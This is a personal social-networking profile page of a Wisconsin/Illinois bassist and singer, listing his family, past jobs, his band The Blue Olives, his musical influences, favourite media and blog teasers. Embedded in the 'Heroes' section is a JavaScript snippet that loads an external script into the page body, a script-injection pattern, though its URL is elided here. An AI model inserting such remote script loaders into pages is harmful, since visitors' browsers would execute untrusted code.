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Johnny

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About Me

Hello I am 45 year old, who is blessed with a beautiful wife and her two great kids Nicholas 9, and Savanna who is 7 years old, and I have been playing music since I was 18. Ive held many various positions of employment from a millwright carpenter for 7 - 9 years. also sold used cars for a few years, drove limo's for 8 years around chicago and mchenry il. and many factories doing the same gig day in day out, as well as a debt collector for 6 years, but all through that time I played in a band and hosted open jams for at least 12-15 years around mchenry county IL. and walworth and rock counties in wi. I currently work as a manager of a telemarketing firm exclusivley serving the cable industry in sales and customer service related issues based out of madison wi. My current band is called The Blue Olives www.blueolives.com a consistent 5 piece but we have a few part timers that join us from time to time if the money is right that becomes a 14 peice band and quite proficient if I do say so myself, but you be the judge ! ......Create or get your
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My Interests

Music, movies, honeymooning with my wife ! ya know makin whoopy,, also comedy, laughing is a huge factor its the best therapy, next best to playing for thousands of people thats a rush ! ......

I'd like to meet:

mostly couples and musicians and music lovers,who have good sense of humor, I'm looking for networking with friends and possible business associates, my wife Rhonda and I are newlyweds committed to only each other, but you can never have too many friends and life is too short !and I guess you could consider our mission statement to be : we treat others as we would have others treat us, with respect and dignity and equal. ......

Music:

yes I play in a band called The Blue Olives www.blueolives.com we are based out of Janesville WI. I am a bassist / lead vocalist for 20 plus years in various groups I've fronted my own bands in the early nineties Johnny Payne and the hurt that lasted 3- 4 years they are blurry years lots of drinkin and smokin also later I formed Johnny Payne and the Good Time Junkies which was a smoking 4 peice band around Mchenry county IL. that lasted many years as well. but my current project has lasted almost 11 years with my guitarist and leader of the band dave turner, for The blue olives, my major influences are blues, jazz and motown and mostly 70's rock like pink floyd, montrose, zepplin, black sabboth and scorpions and santana, just to name a few of the hundreds of influences, ive been blessed to witness live, which is the way to go "live music" but the individual influences / artists BB King , Albert King , koko taylor, blood sweat and tears, robin trower, and henrix, and bassist gods such as marcus miller, and victor wooten, and jaco I love the funk like p-funkadelic and the chili peppers, as well as primus there are some mad players out there just sick! ......

Movies:

action and war flicks, comedies, and movies like the bourne conspiracy and boiler room, and fight club, and saving silverman also Fast Times At Ridgemont high because it was just like high school for me as well as dased and confused total flashbacks !! ......

Television:

I enjoy the programing on A/E and discovery and history, TLC, channels as well as my favorite comedy central: mind of mencia and family guy and a plethora of other shows on currently I like to keep abreast of the conflict in the middle east in general and current affairs, so I watch the news alot ......

Books:

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Heroes:

firefighters and first responders bottom line military personel, 9/11 victims and families who have to live with it day to day and the people involved in green peace and save the earth programs, cause I believe in general, mankind is killing the earth and all that which live on and in it if we stay on this same path and pace, thats very scary .."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

My Blog

tired of the 40-60 year plan for financial security well look at this !

It's time to make a change if you want to be financialy secure, and worry free from debt, and live the life you and your loved ones deserve to live and enjoy, My wife and I are in a unique situation a...
Posted by Johnny on Sun, 10 Dec 2006 01:45:00 PST

my awakening and deep thoughts

It's funny,  I started playing music around 18 in my brothers band they needed a singer and I actualy had a pretty good set of pipes back then and the very first song we learned was ,, Billy Thor...
Posted by Johnny on Tue, 10 Oct 2006 08:43:00 PST